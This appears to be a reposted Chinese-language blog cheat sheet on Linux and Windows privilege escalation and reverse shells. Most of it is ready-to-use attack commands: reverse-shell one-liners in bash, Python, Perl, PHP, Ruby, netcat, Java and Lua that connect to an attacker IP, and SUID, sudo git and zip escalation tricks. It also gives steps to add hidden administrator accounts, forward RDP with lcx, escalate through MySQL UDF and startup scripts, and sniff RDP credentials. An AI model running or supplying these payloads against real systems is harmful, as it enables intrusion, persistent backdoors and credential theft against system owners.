提权以及反弹shell一些方法

提权以及反弹shell

netcat反弹shell

kali中使用nc(netcat)进行监听 用法 : nv -lvvp 2333(端口号)

靶机中使用 bash -c 'bash -i >&/dev/tcp/192.168.1.1/2333 0>&1' 同样可以写成一句话木马进行反弹shell。

命令提权

1、使用suid提权,找到一个属于root的具有s权限的文件;s是提权符
 find / -user root -perm -4000 -print 2>/dev/null
 find / -perm -u=s -type f 2>/dev/null
 find / -user root -perm -4000 -exec ls -ldb {} \;

例如:在DC-1中,首先touch新建一个文件,然后执行

 touch abcd
 find abcd -exec whoami \;
 find / -name abcd -exec "/bin/sh" \;   #分号需要转义,find以分号结尾

具有提权功能的Linux可执行文件包括:

 nmap
 vim
 find
 bash
 more
 less
 nano
 cp

python反弹shell

 #!/usr/bin/python
 import os,subprocess,socket
 
 s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
 s.connect(("攻击机IP地址","攻击机监听端口"))
 os.dup2(s.fileno(),0)
 os.dup2(s.fileno(),1)
 os.dup2(s.fileno(),2)
 p=subprocess.call(["/bin/sh","-i"])
其他一些方法
 #bash版本:
 bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
 
 #perl版本:
 perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
 
 #python版本:
 python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
 
 #php版本:
 php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
 
 #ruby版本:
 ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
 
 #nc版本:
 nc -e /bin/sh 10.0.0.1 1234
 
 rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
 
 nc x.x.x.x 8888|/bin/sh|nc x.x.x.x 9999
 
 #java版本
 r = Runtime.getRuntime()
 p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
 p.waitFor()
 
 #lua
 lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"

git提权

 sudo -l  查看具有sudo执行权限的命令
 sudo git -p help或者 sudo git help config
 !/bin/bash

zip提权

 touch exploit
 sudo -u root zip exploit.zip exploit -T --unzip-command="sh -c /bin/bash"

tar提权

 

 

收集信息:

 内外网
 服务器系统和版本 位数
 服务器的补丁情况
 服务器的安装软件情况
 服务器的防护软件情况
 端口情况
 支持脚本情况

信息收集常用命令:

Windows:

 ipconfig /all
 net user
 netstat -ano
 ver
 systeminfo
 tasklist /svc
 taskkill -PID pid号
 taskkill /im qq.exe /f
 net user test 123456 /add
 net localgroup administrators test /add
 whoami

CMD无法执行

1、防护软件拦截

2、CMD被降权

3、组件被删除

找可读写目录上传cmd.exe,将执行的cmd.exe路径替换成上传的路径

查找3389端口

1、注册表读取

2、工具扫描

3、命令探针

端口转发

lcx

网站服务器是内网IP:192.168.2.3

外网服务器IP是:192.168.80.151

在内网服务器上执行的lcx命令是:lcx.exe -slave 192.168.80.151 51 192.168.2.3 3389

在外网服务器上执行的lcx命令是:lcx.exe -listen 51 3389

数据库提权

MSSQL提权:安装组件--->开启3389---->创建用户------>提升权限------>完成

Mysql提权:

1、udf提权

获取到对方数据库用户root的账号密码

查看网站源码里面数据库配置文件(common,config.php,common.inc.php,data)

查看数据库的配置文件

暴力破解、mysql密码破解、3306端口入侵

udf提权原理:

通过root权限导出udf.dll到系统目录下,可以通过udf.dll调用执行cmd

导出到\lib/plugin\安装目录下

 create function cmdshell returns string soname 'udf.dll'
 select cmdshell('net user test 123456 /add');
 select cmdshell('net localgroup administrators test /add');
 drop function cmdshell //删除函数

2、启动项提权

 1、查看我们进入数据库中有什么表
 show tables;
 默认情况下,test中没有任何表的存在
 关键部分:
 2、在test数据库下创建一个新的表
 create table a(cmd text);
 表名为a,字段名为cmd,为text文本
 3、在表中插入数据
 insert into a values ("set wshshell=createobject(""wscript.shell"")");
 insert into a values ("a=wshshell.run(""cmd.exe /c net user test 123456 /add"",0)");
 insert into a values ("b=wshshell.run(""cmd.exe /c net localgroup Administrators test /add"",0)")
 双引号和括号以及后面的0一定要输入,用这三条命令建立一个vbs的脚本程序!
 4、查看数据表
 select * form a;
 5、输出表为一个vbs的脚本文件
 select * from a into outfile "c://开机菜单//启动//a.vbs";
 6、重启

3、mof提权

4、反连端口提权

Windows提权:

开启3389

 使用批处理文件开3389
 使用sql语句开3389
 使用exe开3389
 使用vb开3389

使用wireshark或cain嗅探3389获取账号名和密码

Linux提权:

uname -r 查看内核版本信息

找到对应版本的exp

上传----编译---运行----ok

猜你喜欢

转载自www.cnblogs.com/shijiahao/p/13406733.html